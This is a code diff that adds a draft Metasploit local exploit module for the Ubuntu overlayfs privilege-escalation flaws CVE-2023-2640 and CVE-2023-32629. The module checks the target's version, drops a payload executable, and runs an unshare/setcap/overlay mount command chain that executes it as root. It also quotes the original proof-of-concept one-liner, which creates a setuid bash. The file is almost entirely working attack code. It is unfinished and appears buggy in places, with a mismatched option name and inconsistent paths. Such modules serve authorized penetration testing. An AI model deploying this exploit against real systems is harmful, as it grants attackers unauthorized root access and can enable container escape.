|
| 1 | +class MetasploitModule < Msf::Exploit::Local |
| 2 | + |
| 3 | + prepend Msf::Exploit::Remote::AutoCheck |
| 4 | + include Msf::Post::Linux::System |
| 5 | + include Msf::Post::Linux::Kernel |
| 6 | + include Msf::Post::File |
| 7 | + include Msf::Exploit::FileDropper |
| 8 | + include Msf::Exploit::CmdStager |
| 9 | + include FileUtils |
| 10 | + |
| 11 | + # TODO |
| 12 | + # 1) Add Msf::Post::Linux::System::get_sysinfo to get linux and kernel versions |
| 13 | + # ^ What does the output change to |
| 14 | + # |
| 15 | + # 4) Make exploit more readable with multiline string, change exploit to use |
| 16 | + # todo add python requirement |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super( |
| 20 | + update_info( |
| 21 | + info, |
| 22 | + 'Name' => 'GameOver(lay) Privilege Escalation and Container Escape', |
| 23 | + 'Description' => %q{ |
| 24 | + This module exploits the use of unsafe functions in a number of Ubuntu kernels |
| 25 | + utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux |
| 26 | + kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent |
| 27 | + changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is |
| 28 | + called during ovl_do_setxattr without calling the intermediate safety function |
| 29 | + vfs_setxattr. Ultimatly this module allows for root access to be achieved by |
| 30 | + writing setuid capabilities to a file which are not sanitized after being unioned |
| 31 | + with the upper mounted directory. |
| 32 | + }, |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'Author' => [ |
| 35 | + 'g1vi', # PoC |
| 36 | + 'h00die', # Module Suggestion |
| 37 | + 'gardnerapp', # MsF Module |
| 38 | + ], |
| 39 | + 'Platform' => ['linux'], |
| 40 | + 'SessionTypes' => ['shell', 'meterpreter'], |
| 41 | + 'DisclosureDate' => '2023-07-26', |
| 42 | + 'References' => [ |
| 43 | + ['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'], |
| 44 | + ['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'], |
| 45 | + ['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'], |
| 46 | + ['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'], |
| 47 | + ['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'], |
| 48 | + ['CVE', '2023-32629'], |
| 49 | + ['CVE', '2023-2640'] |
| 50 | + ], |
| 51 | + 'Targets' => [ [ 'Linux', {} ] ], |
| 52 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 53 | + 'CmdStagerFlavor' => 'bourne' |
| 54 | + ) |
| 55 | + ) |
| 56 | + register_options [ |
| 57 | + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), |
| 58 | + OptString.new('PayloadFileName', [true, 'Name of payloadf', 'marv']) |
| 59 | + ] |
| 60 | + end |
| 61 | + |
| 62 | + def vuln |
| 63 | + # Keys are ubuntu versions, vals is list of vunerable kernels |
| 64 | + { |
| 65 | + "Lunar Lobster": %w[6.2.0], # Ubuntu 23.04 |
| 66 | + "Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10 |
| 67 | + "Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS |
| 68 | + "Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS |
| 69 | + "Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS |
| 70 | + }.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver" |
| 71 | + end |
| 72 | + |
| 73 | + def check |
| 74 | + return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux' |
| 75 | + |
| 76 | + # Must be Ubuntu |
| 77 | + return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/ |
| 78 | + |
| 79 | + os = cmd_exec 'cat /etc/os-release' |
| 80 | + |
| 81 | + # grab codename i.e. Focal Fossa |
| 82 | + codename = os.scan(/\(\w* \w*\)/)[0] |
| 83 | + |
| 84 | + # Remove '(' and ')' |
| 85 | + codename.delete_prefix!('(').delete_suffix!(')') |
| 86 | + |
| 87 | + print_status "Detected Ubuntu version: #{codename}" |
| 88 | + |
| 89 | + # uname -r |
| 90 | + # yields something like 5.4.0-1018-blah |
| 91 | + kernel = kernel_release |
| 92 | + print_status "Detected kernel version: #{kernel}" |
| 93 | + |
| 94 | + # Make sure release is running vunerable kernel |
| 95 | + # will this return in correct context?? |
| 96 | + # could scan kernel to prevent looping if return below doesn't work |
| 97 | + vuln[codename].each do |version| |
| 98 | + if kernel.include? version |
| 99 | + return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable" |
| 100 | + end |
| 101 | + end |
| 102 | + |
| 103 | + return CheckCode::Safe("Target does not appear to be running a vunerable Ubuntu Distro or Kernel") |
| 104 | + end |
| 105 | + |
| 106 | + def execute_command(_cmd, _opts = {}) |
| 107 | + pay_file = datastore['PayloadFilename'] |
| 108 | + |
| 109 | + pay_dir = datastore['WritableDir'] |
| 110 | + pay_dir += "/" unless pay_dir.ends_with? "/" |
| 111 | + pay_dir += Rex::Text.rand_text_alpha 10 |
| 112 | + |
| 113 | + directories = %w[l u w m].flat_map { |e| "#{pay_dir}#{e}" } |
| 114 | + |
| 115 | + # Should we make sure directory doesn't already exist? |
| 116 | + |
| 117 | + directories.each do |dir| |
| 118 | + print_status "Creating directory #{dir}" |
| 119 | + mkdir dir |
| 120 | + end |
| 121 | + |
| 122 | + register_dir_for_cleanup pay_dir |
| 123 | + |
| 124 | + print_status "Creating directory to store payload: #{pay_dir}" |
| 125 | + pay_dir.concat "/" unless pay_dir.ends_with? "/" |
| 126 | + cmd_exec "mkdir -p #{pay_dir}" |
| 127 | + |
| 128 | + register_dir_for_cleanup pay_dir |
| 129 | + |
| 130 | + pay = "#{pay_dir}#{pay_file}" |
| 131 | + |
| 132 | + print_status "Writing payload: #{pay}" |
| 133 | + |
| 134 | + write_file "#{pay}", generate_payload_exe |
| 135 | + # works move test to low, run unshare mount set cap, shell |
| 136 | + |
| 137 | + print_status 'Starting new namespace, and running exploit...' |
| 138 | + |
| 139 | + # g1vi original |
| 140 | + # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'" |
| 141 | + |
| 142 | + # TODO move running of payload and exploit to different cmd_exec calls |
| 143 | + # Swap vulns w code names, make sure regexes work agsain,s |
| 144 | + hack = <<-TEXT |
| 145 | + unshare -rm sh -c \"cp /u*/b*/p*3 #{pay_dir}; |
| 146 | + setcap cap_setuid+eip #{pay_dir}l/python3; |
| 147 | + mount -t overlay overlay -o rw,lowerdir=#{pay_dir}l,upperdir=#{pay_dir}u,workdir=#{pay_dir}w #{pay_dir}m |
| 148 | + && touch /tmp/main/m/* |
| 149 | + \" |
| 150 | + && #{pay_dir}/u/python3 -c 'import os;os.setuid(0); os.system(\"#{pay}\")' |
| 151 | + TEXT |
| 152 | + |
| 153 | + print_status "Running exploit:\n '#{hack}'\n " |
| 154 | + print_status "Output of command: #{cmd_exec_with_result(hack)}" |
| 155 | + end |
| 156 | + |
| 157 | + def exploit |
| 158 | + puts "System Info: #{get_sysinfo}" |
| 159 | + execute_cmdstager |
| 160 | + |
| 161 | + # System Info: {:kernel=>"Linux ip-172-26-8-97 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux", :distro=>"ubuntu", :version=>"Ubuntu 20.04.6 LTS"} |
| 162 | + end |
| 163 | + |
| 164 | +end |
0 commit comments